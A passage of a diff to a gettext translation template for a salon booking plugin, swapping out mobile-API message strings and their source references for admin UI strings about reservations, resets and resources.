build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:109, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:109\n-msgid \"Type for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:656\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:656\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:19\n+msgid \"Reservations and revenues by assistants\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:126, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:126, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:126\n-msgid \"Required for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:655\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:655\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:19\n+msgid \"Reservations and revenues by services\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:131, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:131, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:131\n-msgid \"Hidden for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:86\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:86\n+msgid \"Reservations calendar\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:136, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:136, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:136, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:136\n-msgid \"Options for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:78\n+msgid \"Reservations collected by a single customer\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:140, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:140, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:140, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:140\n-msgid \"The options item.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:88\n+msgid \"Reservations history\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:169, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:169, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:169, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:169\n-msgid \"The customer profile for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:87\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:87\n+msgid \"Reservations in the selected time range\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:177\n-msgid \"The booking hidden for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:146\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:146\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:166\n+msgid \"Reservations made and value\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:185, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:185, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:185\n-msgid \"The export csv for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:179\n+msgid \"Reservations per month\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:193, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:193, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:193, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:193\n-msgid \"The additional for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:192\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:192\n+msgid \"Reservations per week\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:201, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:201, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:201\n-msgid \"The default value for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:202\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:202\n+msgid \"Reset\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:210, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:210, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:210, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:210, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:210, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:210\n-msgid \"The file type for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_reset.php:8\n+msgid \"Reset all settings\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:39\n-msgid \"Enable assistants mode\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:11\n+msgid \"Reset completed with success\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:192\n-msgid \"Invalid date format\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_homepage.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_homepage.php:11\n+msgid \"Reset settings\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:479, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:479, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:479, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:477, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:479, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:479\n-msgid \"From time.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:315\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:208\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:315\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:208\n+msgid \"Resource\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:489, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:489, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:489, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:487, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:489, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:489\n-msgid \"To time.\"\n+#. s%1$ will be replaced by resource name, %2$s will be replaced by service name, s%3$ will be replaced by booking time\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:90\n+#, php-format\n+msgid \"Resource %1$s isn't available for %2$s service at %3$s\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:499, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:499, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:499, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:497, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:499, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:499\n-msgid \"Daily.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php:23\n+msgid \"Resource details\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:350, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:350, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:350\n-msgid \"The enabled for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:187\n+msgid \"Resource draft updated.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:65\n-msgid \"No user is currently logged in.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:114\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:114\n+msgid \"Resource ID\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:91, 